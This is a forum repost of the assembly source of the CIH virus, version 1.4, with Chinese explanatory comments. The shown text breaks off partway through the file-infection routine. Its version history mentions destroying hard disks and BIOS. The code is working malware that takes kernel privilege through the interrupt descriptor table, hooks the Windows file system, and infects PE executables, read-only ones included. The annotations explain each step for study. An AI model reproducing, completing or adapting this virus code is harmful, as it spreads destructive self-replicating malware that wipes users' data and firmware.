发新话题
打印

[转载]CIH病毒1.4版本之中文注释

[转载]CIH病毒1.4版本之中文注释

文章作者:邹丹

;CIH病毒1.4版本之中文注释由"邹丹"编写完成于1999-4-09
;源程序中的英文注释未作修改,全部保留
;电子邮件: zd_dan@263.net   
;个人主页: zdweb.yeah.net                                       
;本人所编写之注释仅供研究之用,如作其他用途,概于本人无关!!!
;!!!!!!后附精彩后记,敬请留意!!!!!!

; ****************************************************************************  
; *           The Virus Program Information            *  
; ****************************************************************************  
; *                                     *  
; *   Designer : CIH         Source : TTIT of TATUNG in Taiwan  *  
; *   Create Date : 04/26/1998    Now Version : 1.4          *  
; *   Modification Time : 05/31/1998                    *  
; *                                     *  
; *   Turbo Assembler Version 4.0   : tasm /m cih            *  
; *   Turbo Link Version 3.01     : tlink /3 /t cih, cih.exe      * ;编译连接方法 
; *                                     * ;使用的是TurboAssembler 
; *==========================================================================* ;可在Borland C++ 3.1中找到 
; *           Modification History                 *  
; *==========================================================================*  
; *   v1.0  1. Create the Virus Program.                 *  
; *       2. The Virus Modifies IDT to Get Ring0 Privilege.      *  
; * 04/26/1998 3. Virus Code doesn't Reload into System.          *  
; *       4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *  
; *       5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *  
; *       6. When System Opens Existing PE File, the File will be   *  
; *        Infected, and the File doesn't be Reinfected.       *  
; *       7. It is also Infected, even the File is Read-Only.     *  
; *       8. When the File is Infected, the Modification Date and Time *  
; *        of the File also don't be Changed.            *  
; *       9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *  
; *        Previous FileSystemApiHook, it will Call the Function   *  
; *        that the IFS Manager Would Normally Call to Implement   *  
; *        this Particular I/O Request.               *  
; *      10. The Virus Size is only 656 Bytes.             *  
; *==========================================================================*  
; *   v1.1  1. Especially, the File that be Infected will not Increase  *  
; *        it's Size…  ^__^                    *  
; * 05/15/1998 2. Hook and Modify Structured Exception Handing.       *  
; *        When Exception Error Occurs, Our OS System should be in  *  
; *        Windows NT. So My Cute Virus will not Continue to Run,  *  
; *        it will Jmup to Original Application to Run.       *  
; *       3. Use Better Algorithm, Reduce Virus Code Size.       *  
; *       4. The Virus "Basic" Size is only 796 Bytes.         *  
; *==========================================================================*  
; *   v1.2  1. Kill All HardDisk, and BIOS… Super… Killer…     *  
; *       2. Modify the Bug of v1.1                  *  
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes.           *  
; *==========================================================================*  
; *   v1.3  1. Modify the Bug that WinZip Self-Extractor Occurs Error.  *  
; *        So When Open WinZip Self-Extractor ==> Don't Infect it.  *  
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes.           *  
; *==========================================================================*  
; *   v1.4  1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *  
; *       2. Change the Date of Killing Computers.           *  
; * 05/31/1998 3. Modify Virus Version Copyright.              *  
; *       4. The Virus "Basic" Size is 1019 Bytes.           *  
; ****************************************************************************  
                                         
        .586P                       ;586保护模式汇编       
                                         
; ****************************************************************************  
; *       Original PE Executable File(Don't Modify this Section)    *  
; ****************************************************************************  
                                         
OriginalAppEXE SEGMENT                             
                                         
FileHeader:                            ;编译连接后的PE格式可执行文件文件头       
        db   04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h      
        db   004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h      
        db   0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h      
        db   00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh      
        db   021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h      
        db   069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h      
        db   061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh      
        db   074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh      
        db   020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h      
        db   06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah      
        db   024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h      
        db   0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h      
        db   00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h      
        db   000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h      
        db   000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h      
        db   004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h      
        db   000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h      
        db   000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h      
        db   000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h      
        db   000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        db   0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h      
        dd   00000000h, VirusSize                   
                                         
OriginalAppEXE ENDS                               
                                         
; ****************************************************************************  
; *           My Virus Game                    *  
; ****************************************************************************  
                                         
; *********************************************************           
; *          Constant Define          *           
; *********************************************************           
                                         
TRUE          =    1                        
FALSE          =    0                        
                                         
DEBUG          =    TRUE                       
                                         
MajorVirusVersion    =    1              ;主版本号          
MinorVirusVersion    =    4              ;副版本号          
                                         
VirusVersion      =    MajorVirusVersion*10h+MinorVirusVersion ;合成版本号    
                                         
                                         
IF   DEBUG                        ;是否是调试用          
                                         
    FirstKillHardDiskNumber =    81h         ;杀掉第二个硬盘“d:”          
    HookExceptionNumber   =    05h         ;使用5号中断          
                                         
ELSE                                       
                                         
    FirstKillHardDiskNumber =    80h         ;杀掉第一个硬盘“c:”          
    HookExceptionNumber   =    03h         ;使用3号中断          
                                         
ENDIF                                      
                                         
                                         
FileNameBufferSize   =    7fh                       
                                         
; *********************************************************           
; *********************************************************           
                                         
VirusGame        SEGMENT                         
                                         
            ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame     
            ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame     
                                         
; *********************************************************           
; *       Ring3 Virus Game Initial Program     *           
; *********************************************************           
                                         
MyVirusStart:                                  
            push  ebp                       
                                         
; *************************************                     
; * Let's Modify Structured Exception *                     
; * Handing, Prevent Exception Error *                     
; * Occurrence, Especially in NT.   *                     
; *************************************                     
                                         
            lea   eax, [esp-04h*2]                 
                                         
            xor   ebx, ebx                     
            xchg  eax, fs:[ebx]                  
                                         
            call  @0                        
@0:                                       
            pop   ebx           ;获取程序起始偏移量?            
                            ;用此偏移量+相对偏移量获得绝对地址(病毒程序大量用到)             
            lea   ecx, StopToRunVirusCode-@0[ebx]         
            push  ecx                       
                                         
            push  eax                       
                                         
; *************************************                     
; * Let's Modify           *                     
; * IDT(Interrupt Descriptor Table)  *                     
; * to Get Ring0 Privilege…     *                     
; *************************************                     
                                         
            push  eax       ;                
            sidt  [esp-02h]    ; Get IDT Base Address ?;获得中断描述符表的基址到ebx     
            pop   ebx       ;                
                                         
            add   ebx, HookExceptionNumber*08h+04h ; ZF = 0 ;计算要用中断的基址到ebx    
                                         
            cli                   ;在改表项前关中断?        
                                         
            Mov   ebp, [ebx]   ; Get Exception Base       
            mov   bp, [ebx-04h]  ; Entry Point  ?;取得中断基址到ebp        
                                         
            lea   esi, MyExceptionHook-@1[ecx]           
                                         
            push  esi                ?;esi为病毒中断例程地址       
                                         
            mov   [ebx-04h], si      ;            
            shr   esi, 16         ; Modify Exception    
            mov   [ebx+02h], si      ; Entry Point Address;修改中断基址使指向病毒中断例程  
                                         
            pop   esi                       
                                         
; *************************************                     
; * Generate Exception to Get Ring0  *                     
; *************************************                     
                                         
            int   HookExceptionNumber   ; GenerateException;以中断的方式进入0级   
ReturnAddressOfEndException   =    $                    
                                         
; *************************************                     
; * Merge All Virus Code Section   *                     
; *************************************                     
                                         
            push  esi                       
            mov   esi, eax        ;esi指向病毒开始处             
                                         
LoopOfMergeAllVirusCodeSection:                         
                                         
            mov   ecx, [eax-04h]                  
                                         
            rep   movsb         ;拷贝病毒代码到分配好的系统内存首址             
                                         
            sub   eax, 08h                     
                                         
            mov   esi, [eax]                    
                                         
            or   esi, esi                     
            jz   QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 ;拷贝结束   
                                         
            jmp   LoopOfMergeAllVirusCodeSection ;拷贝下一段         
                                         
QuitLoopOfMergeAllVirusCodeSection:                       
                                         
            pop   esi                       
                                         
; *************************************                     
; * Generate Exception Again     *                     
; *************************************                     
                                         
            int   HookExceptionNumber   ; GenerateException Aga 
                            ;再一次进入0级             
                                         
; *************************************                     
; * Let's Restore           *                     
; * Structured Exception Handing   *                     
; *************************************                     
                                         
ReadyRestoreSE:                                 
            sti               ;开中断             
                                         
            xor   ebx, ebx                     
                                         
            jmp   RestoreSE                    
                                         
; *************************************                     
; * When Exception Error Occurs,   *                     
; * Our OS System should be in NT.  *                     
; * So My Cute Virus will not     *                     
; * Continue to Run, it Jmups to   *                     
; * Original Application to Run.   *                     
; *************************************                     
                                         
StopToRunVirusCode:                               
@1           =    StopToRunVirusCode                
                                         
            xor   ebx, ebx                     
            mov   eax, fs:[ebx]                  
            mov   esp, [eax]                    
                                         
RestoreSE:                                    
            pop   dword ptr fs:[ebx]                
            pop   eax                       
                                         
; *************************************                     
; * Return Original App to Execute  *                     
; *************************************                     
                                         
            pop   ebp                       
                                         
            push  00401000h    ; Push Original         
OriginalAddressOfEntryPoint   =    $-4   ; App Entry Point to Stack    
                        ;把原程序的开始地址压栈                 
            ret   ; Return to Original App Entry Point ;以子程序返回形式返回到原程序的开始处      
                                         
; *********************************************************           
; *       Ring0 Virus Game Initial Program     *           
; *********************************************************           
                                         
MyExceptionHook:                                 
@2           =    MyExceptionHook                 
                                         
            jz   InstallMyFileSystemApiHook    ;如果病毒代码已拷贝好了        
                                 ;转到安装文件系统钩子的程序        
; *************************************                     
; * Do My Virus Exist in System !?  *                     
; *************************************                     
                                         
            mov   ecx, dr0             ;察看dr0是否设置过(dr0为病毒驻留标志)        
            jecxz  AllocateSystemMemoryPage     ;没有设置,则分配系统内存        
                                         
            add   dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException                                    
                                         
; *************************************                     
; * Return to Ring3 Initial Program  *                     
; *************************************                     
                                         
ExitRing0Init:                                  
            mov   [ebx-04h], bp  ;                
            shr   ebp, 16     ; Restore Exception       
            mov   [ebx+02h], bp  ;        ;恢复原来的中断基址        
                                         
            iretd                  ;中断返回        
                                         
; *************************************                     
; * Allocate SystemMemory Page to Use *                     
; *************************************                     
                                         
AllocateSystemMemoryPage:                            
                                         
            mov   dr0, ebx    ; Set the Mark of My Virus Exist in System                                    
                        ;设置dr0,它是病毒驻留的标志                 
            push  00000000fh   ;                
            push  ecx       ;                
            push  0ffffffffh   ;                
            push  ecx       ;调用方法ULONG EXTERN _PageAllocate(ULONG nPages, ULONG pType, ULONG VM,
                                     ;ULONG AlignMask, ULONG minPhys, ULONG maxPhys, ULONG *PhysAddr,
                   ;ULONG flags);                
            push  ecx       ;                
            push  ecx       ;                
            push  000000001h   ;                
            push  000000002h   ;                
            int   20h       ; VMMCALL _PageAllocate;VXD调用
_PageAllocate      =    $        ;                
            dd   00010053h    ; Use EAX, ECX, EDX, and flags  
            add   esp, 08h*04h  ;恢复栈指针                 
                                         
            xchg  edi, eax    ; EDI = SystemMemory Start Address                                        
                        ; EDI指向分配好的系统内存首址                 
            lea   eax, MyVirusStart-@2[esi] ;eax指向病毒开始处           
                                         
            iretd  ; Return to Ring3 Initial Program ;退出中断,回3级(回到"Merge All Virus Code Section)

TOP

; *************************************                     
; * Install My File System Api Hook  *                     
; *************************************                     
                                         
InstallMyFileSystemApiHook:                           
                                         
            lea   eax, FileSystemApiHook-@6[edi] ;指向文件系统钩子程序首址         
                                         
            push  eax ;                      
            int   20h ; VXDCALL IFSMgr_InstallFileSystemApiHook  
IFSMgr_InstallFileSystemApiHook =    $    ;                
            dd   00400067h    ; Use EAX, ECX, EDX, and flags  
                        ;在调用后变为call [IFSMgr_InstallFileSystemApiHook]                
            mov   dr0, eax    ; Save OldFileSystemApiHook Address                                        
                        ;保存原来的文件系统钩子程序首址到dr0(改调用的返回值是前一个链值)                 
            pop   eax   ; EAX = FileSystemApiHook Address    
                                         
            ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point  
            mov   ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]   
            mov   edx, [ecx]    ;edx为IFSMgr_InstallFileSystemApiHook功能的地址                
            mov   OldInstallFileSystemApiHook-@3[eax], edx ?;保存    
                                         
            ; Modify IFSMgr_InstallFileSystemApiHook Entry Point   
            lea   eax, InstallFileSystemApiHook-@3[eax]      
            mov   [ecx], eax    ?;设置新的IFSMgr_InstallFileSystemApiHook功能调用的地址                
                          ;使指向InstallFileSystemApiHook               
            cli                           
                                         
            jmp   ExitRing0Init   ?;退出0级(int 3 or int 5)               
                                         
; *********************************************************           
; *       Code Size of Merge Virus Code Section   *           
; *********************************************************           
                                         
CodeSizeOfMergeVirusCodeSection     =    offset $             
                                         
; *********************************************************           
; *       IFSMgr_InstallFileSystemApiHook      *           
; *********************************************************           
                                         
InstallFileSystemApiHook:                  ;新的IFSMgr_InstallFileSystemApiHook功能调用           
            push  ebx                       
                                         
            call  @4   ;                    
@4:                   ;                    
            pop   ebx   ; mov ebx, offset FileSystemApiHook  ;获得当前指令的偏移地址   
            add   ebx, FileSystemApiHook-@4    ;加上偏移的差=FileSystemApiHook的偏移       
                                         
            push  ebx                       
            int   20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook ;调用VXD移去指向FileSystemApiHook的钩子  
IFSMgr_RemoveFileSystemApiHook =    $                    
            dd   00400068h    ; Use EAX, ECX, EDX, and flags ;调用号 
            pop   eax                       
                                         
            ; Call Original IFSMgr_InstallFileSystemApiHook     
            ; to Link Client FileSystemApiHook            
            push  dword ptr [esp+8]                
            call  OldInstallFileSystemApiHook-@3[ebx] ;调用原来的IFSMgr_InstallFileSystemApiHook功能设置钩子      
            pop   ecx                       
                                         
            push  eax                       
                                         
            ; Call Original IFSMgr_InstallFileSystemApiHook     
            ; to Link My FileSystemApiHook              
            push  ebx                       
            call  OldInstallFileSystemApiHook-@3[ebx] ;调用原来的IFSMgr_InstallFileSystemApiHook功能设置钩子       
            pop   ecx                       
                                         
            mov   dr0, eax    ; Adjust OldFileSystemApiHook Address ;调整原来的地址                                       
                                         
            pop   eax                       
                                         
            pop   ebx                       
                                         
            ret                           
                                         
; *********************************************************           
; *           Static Data            *           
; *********************************************************           
                                         
OldInstallFileSystemApiHook   dd   ?     ;原来的InstallFileSystemApiHook调用的地址                
                                         
; *********************************************************           
; *       IFSMgr_FileSystemHook           *           
; *********************************************************           
                                         
; *************************************                     
; * IFSMgr_FileSystemHook Entry Point *                     
; *************************************                     
                                         
FileSystemApiHook:                ;安装好的文件系统钩子                
@3           =    FileSystemApiHook                
                                         
            pushad          ;保存寄存器(20h长)                
                                         
            call  @5   ;                    
@5:                   ;                    
            pop   esi   ; mov esi, offset ;esi为当前指令的偏移
            add   esi, VirusGameDataStartAddress-@5  
         ;esi为FileSystemApiHook的偏移加上到VirusGameDataStartAddress的偏移之差=VirusGameDataStartAddress的偏移
                                         
; *************************************                     
; * Is OnBusy !?           *                     
; *************************************                     
                                         
            test  byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) ;测试"忙"标志
            jnz   pIFSFunc            ; goto pIFSFunc ;"忙"则转到pIFSFunc
                                         
; *************************************                     
; * Is OpenFile !?          *                     
; *************************************                     
                                         
            ; if ( NotOpenFile )                   
            ; goto prevhook                     
            lea   ebx, [esp+20h+04h+04h]     ;ebx为FunctionNum的地址
;文件系统钩子的调用格式如下   
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,int ResourceFlags, int CodePage, pioreq pir)

             ;助标2     
            cmp   dword ptr [ebx], 00000024h   ;测试此次调用是否是为了打开文件
                      ;在DDK的ifs.h中定义的#define IFSFN_OPEN 36         
            jne   prevhook            ;不是就跳到前一个文件钩子去         
                                         
; *************************************                     
; * Enable OnBusy           *                     
; *************************************                     
                                         
            inc   byte ptr (OnBusy-@6)[esi]    ; Enable OnBusy ;设置"忙"标志为"忙"
                                         
; *************************************                     
; * Get FilePath's DriveNumber,    *                     
; * then Set the DriveName to     *                     
; * FileNameBuffer.          *                     
; *************************************                     
; * Ex. If DriveNumber is 03h,    *                     
; *   DriveName is 'C:'.      *                     
; *************************************                     
                                         
            ; mov esi, offset FileNameBuffer             
            add   esi, FileNameBuffer-@6     ;esi指向FileNameBuffer         
                                         
            push  esi              ;保存之         
                                         
            mov   al, [ebx+04h]         ;ebx+4为int Drive的地址         
            cmp   al, 0ffh            ;是否是UNC(universal naming conventions)地址         
            je   CallUniToBCSPath        ;是就转         
                                         
            add   al, 40h                     
            mov   ah, ':'                     
                                         
            mov   [esi], eax           ;处理成"X:"的形式         
                                         
            inc   esi                       
            inc   esi                       
                                         
; *************************************                     
; * UniToBCSPath           *                     
; *************************************                     
; * This Service Converts       *                     
; * a Canonicalized Unicode Pathname *          ;把Canonicalized Unicode的字符转换为普通的BCS字符集           
; * to a Normal Pathname in the    *                     
; * Specified BCS Character Set.   *                     
; *************************************                     
;调用方法 UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, unsigned int maxLength, int charSet)

                 
CallUniToBCSPath:                                
            push  00000000h            ;字符集         
            push  FileNameBufferSize       ;字符长度         
            mov   ebx, [ebx+10h]                  
            mov   eax, [ebx+0ch]                  
            add   eax, 04h                     
            push  eax               ;Uni字符首址         
            push  esi               ;BCS字符首址         
            int   20h   ; VXDCall UniToBCSPath ;调用UniToBCSPath         
UniToBCSPath      =    $                        
            dd   00400041h           ;调用id         
            add   esp, 04h*04h                   
                                         
; *************************************                     
; * Is FileName '.EXE' !?       *                     
; *************************************                     
                                         
            ; cmp [esi+eax-04h], '.EXE'               
            cmp   [esi+eax-04h], 'EXE.'   ;测试是否是*.EXE(可执行)文件           
            pop   esi                       
            jne   DisableOnBusy                  
                                         
IF   DEBUG                                  
                                         
; *************************************                     
; * Only for Debug          *                     
; *************************************                     
                                         
            ; cmp [esi+eax-06h], 'FUCK'               
            cmp   [esi+eax-06h], 'KCUF'   ;如果是测试用途则测试是否是"FUCK.EXE"           
            jne   DisableOnBusy                  
                                         
ENDIF                                      
                                         
; *************************************                     
; * Is Open Existing File !?     *                     
; *************************************                     
                                         
            ; if ( NotOpenExistingFile )               
            ; goto DisableOnBusy                   
            cmp   word ptr [ebx+18h], 01h   ;测试是否打开           
            jne   DisableOnBusy                  
                                         
; *************************************                     
; * Get Attributes of the File    *                     
; *************************************                     
                                         
            mov   ax, 4300h        ;IFSMgr_Ring0_FileIO的获得文件属性号(R0_FILEATTRIBUTES/GET_ATTRIBUTES)             
            int   20h   ; VXDCall IFSMgr_Ring0_FileIO ;调用IFSMgr_Ring0_FileIO的获得文件属性的功能      
IFSMgr_Ring0_FileIO   =    $                        
            dd   00400032h          ;调用号           
                                         
            jc   DisableOnBusy        ;失败否?           
                                         
            Push  ecx                       
                                         
; *************************************                     
; * Get IFSMgr_Ring0_FileIO Address  *                     
; *************************************                     
                                         
            mov   edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]   
            mov   edi, [edi]         ;获得IFSMgr_Ring0_FileIO调用的地址           
                                         
; *************************************                     
; * Is Read-Only File !?       *                     
; *************************************                     
                                         
            test  cl, 01h                     
            jz   OpenFile          ;测试是否是只读文件           
                                         
; *************************************                     
; * Modify Read-Only File to Write  *                     
; *************************************                     
                                         
            mov   ax, 4301h        ;IFSMgr_Ring0_FileIO的获得文件属性号(R0_FILEATTRIBUTES/SET_ATTRIBUTES )             
            xor   ecx, ecx                     
            call  edi   ; VXDCall IFSMgr_Ring0_FileIO ;调用IFSMgr_Ring0_FileIO的改文件属性功能,使文件可写
     
                                         
; *************************************                     
; * Open File             *                     
; *************************************                     
                                         
OpenFile:                                    
            xor   eax, eax                     
            mov   ah, 0d5h        ;IFSMgr_Ring0_FileIO的打开文件功能号(R0_OPENCREATFILE or RO_OPENCREAT_IN_CONTEXT)
            xor   ecx, ecx        ;文件属性             
            xor   edx, edx                     
            inc   edx                       
            mov   ebx, edx                     
            inc   ebx           ;esi为文件名首址             
            call  edi   ; VXDCall IFSMgr_Ring0_FileIO ;调用IFSMgr_Ring0_FileIO的打开文件功能     
                                         
            xchg  ebx, eax    ; mov ebx, FileHandle ;在ebx中保存文件句柄     
                                         
; *************************************                     
; * Need to Restore          *                     
; * Attributes of the File !?     *                     
; *************************************                     
                                         
            pop   ecx                       
                                         
            pushf                          
                                         
            test  cl, 01h                     
            jz   IsOpenFileOK   ;是否需要恢复文件属性(有写属性就不需要恢复了)                
                                         
; *************************************                     
; * Restore Attributes of the File  *                     
; *************************************                     
                                         
            mov   ax, 4301h    ;IFSMgr_Ring0_FileIO的获得文件属性号(R0_FILEATTRIBUTES/SET_ATTRIBUTES)                
            call  edi   ; VXDCall IFSMgr_Ring0_FileIO ;恢复文件属性      
                                         
; *************************************                     
; * Is Open File OK !?        *                     
; *************************************                     
                                         
IsOpenFileOK:                                  
            popf                           
                                         
            jc   DisableOnBusy   ;打开是否成功?                
                                         
; *************************************                     
; * Open File Already Succeed.  ^__^ *                     
; *************************************                     
                                         
            push  esi   ; Push FileNameBuffer Address to Stack ;把文件名数据区首址压栈
                                         
            pushf      ; Now CF = 0, Push Flag to Stack    ;保存标志位
                                         
            add   esi, DataBuffer-@7 ; mov esi, offset DataBuffer ;esi指向数据区首址
                                         
; ***************************                          
; * Get OffsetToNewHeader  *                          
; ***************************                          
                                         
            xor   eax, eax                     
            mov   ah, 0d6h           ;IFSMgr_Ring0_FileIO的读文件功能号(R0_READFILE)       
                                         
            ; For Doing Minimal VirusCode's Length,         
            ; I Save EAX to EBP.                   
            Mov   ebp, eax                     
                                         
            push  00000004h             ;读取4个字节       
            pop   ecx                       
            push  0000003ch           ;读取dos文件头偏移3ch处的Windows文件头首部偏移       
            pop   edx                       
            call  edi   ; VXDCall IFSMgr_Ring0_FileIO ;读文件到esi     
                                         
            mov   edx, [esi]          ;Windows文件头首部偏移放到edx       
                                        
; ***************************                          
; * Get 'PE\0' Signature  *                          
; * of ImageFileHeader, and *                          
; * Infected Mark.     *                          
; ***************************                          
                                         
            dec   edx                       
                                         
            mov   eax, ebp           ;功能号          
            call  edi   ; VXDCall IFSMgr_Ring0_FileIO ;读文件到esi     
                                         
; ***************************                          
; * Is PE !?        *                          
; ***************************                          
; * Is the File       *                          
; * Already Infected !?   *                          
; ***************************                          
; * WinZip Self-Extractor  *                          
; * doesn't Have Infected  *                          
; * Mark Because My Virus  *                          
; * doesn't Infect it.   *                          
; ***************************                          
                                         
            ; cmp [esi], '\0PE\0'                  
            cmp   dword ptr [esi], 00455000h   ;判断是否是PE文件(标志"PE\0\0")         
            jne   CloseFile           ;不是就关闭文件         
                                         
; *************************************                     
; * The File is          ^o^ *                     
; * PE(Portable Executable) indeed.  *                     
; *************************************                     
; * The File isn't also Infected.   *                     
; *************************************                     
                                         
; *************************************                     
; * Start to Infect the File     *                     
; *************************************                     
; * Registers Use Status Now :    *                     
; *                  *                     
; * EAX = 04h             *                     
; * EBX = File Handle         *                     
; * ECX = 04h             *                     
; * EDX = 'PE\0\0' Signature of    *                     
; *    ImageFileHeader Pointer's  *                     
; *    Former Byte.        *                     
; * ESI = DataBuffer Address ==> @8  *                     
; * EDI = IFSMgr_Ring0_FileIO Address *                     
; * EBP = D600h ==> Read Data in File *                     
; *************************************                     
; * Stack Dump :           *                     
; *                  *                     
; * ESP => ------------------------- *                     
; *    |    EFLAG(CF=0)   | *                     
; *    ------------------------- *                     
; *    | FileNameBufferPointer | *                     
; *    ------------------------- *                     
; *    |     EDI     | *                     
; *    ------------------------- *                     
; *    |     ESI     | *                     
; *    ------------------------- *                     
; *    |     EBP     | *                     
; *    ------------------------- *
; *    |     ESP     | *                     
; *    ------------------------- *                     
; *    |     EBX     | *                     
; *    ------------------------- *                     
; *    |     EDX     | *                     
; *    ------------------------- *                     
; *    |     ECX     | *                     
; *    ------------------------- *                     
; *    |     EAX     | *                     
; *    ------------------------- *                     
; *    |   Return Address  | *                     
; *    ------------------------- *                     
; *************************************

TOP

push  ebx   ; Save File Handle ;保存文件句柄           
                                         
            push  00h   ; Set VirusCodeSectionTableEndMark    
                                         
; ***************************                          
; * Let"s Set the      *                          
; * Virus" Infected Mark  *                          
; ***************************                          
                                         
            push  01h   ; Size                  
            push  edx   ; Pointer of File    ;edx指向PE文件头偏移00h         
            push  edi   ; Address of Buffer   ;edi为IFSMgr_Ring0_FileIO的地址(原注释有误)         
                                         
; ***************************                          
; * Save ESP Register    *                          
; ***************************                          
                                         
            mov   dr1, esp                     
                                         
; ***************************                          
; * Let"s Set the      *                          
; * NewAddressOfEntryPoint *                          
; * ( Only First Set Size ) *                          
; ***************************                          
                                         
            push  eax   ; Size                  
                                         
; ***************************                          
; * Let"s Read       *                          
; * Image Header in File  *                          
; ***************************                          
                                         
            mov   eax, ebp                     
            mov   cl, SizeOfImageHeaderToRead       ;要读2个字节(WORD NumberOfSections)     
            add   edx, 07h ; Move EDX to NumberOfSections ;PE文件头+07h为NumberOfSections(块个数)     
            call  edi   ; VXDCall IFSMgr_Ring0_FileIO ;读出NumberOfSections(块个数)到esi    
                                         
; ***************************                          
; * Let"s Set the      *                          
; * NewAddressOfEntryPoint *                          
; * ( Set Pointer of File, *                          
; *  Address of Buffer  ) *                          
; ***************************                          
                                         
            lea   eax, (AddressOfEntryPoint-@8)[edx]        
            push  eax   ; Pointer of File            
                                         
            lea   eax, (NewAddressOfEntryPoint-@8)[esi]      
            push  eax   ; Address of Buffer           
                                         
; ***************************                          
; * Move EDX to the Start  *                          
; * of SectionTable in File *                          
; ***************************                          
                                         
            movzx  eax, word ptr (SizeOfOptionalHeader-@8)[esi]   
            lea   edx, [eax+edx+12h]  ;edx为SectionTable的偏移              
                                         
; ***************************                          
; * Let"s Get        *                          
; * Total Size of Sections *                          
; ***************************                          
                                         
            mov   al, SizeOfScetionTable   ;每个块表项(ScetionTable)的大小(字节)           
                                         
            ; I Assume NumberOfSections <= 0ffh           
            mov   cl, (NumberOfSections-@8)[esi]          
                                         
            mul   cl             ;每个块表项乘以块个数=块表大小           
                                         
; ***************************                          
; * Let"s Set Section Table *                          
; ***************************                          
                                         
            ; Move ESI to the Start of SectionTable         
            lea   esi, (StartOfSectionTable-@8)[esi] ;esi指向块表首址(在病毒动态数据区中)       
                                         
            push  eax   ; Size         ;块表大小         
            push  edx   ; Pointer of File   ;edx为SectionTable的偏移         
            push  esi   ; Address of Buffer  ;         
                                         
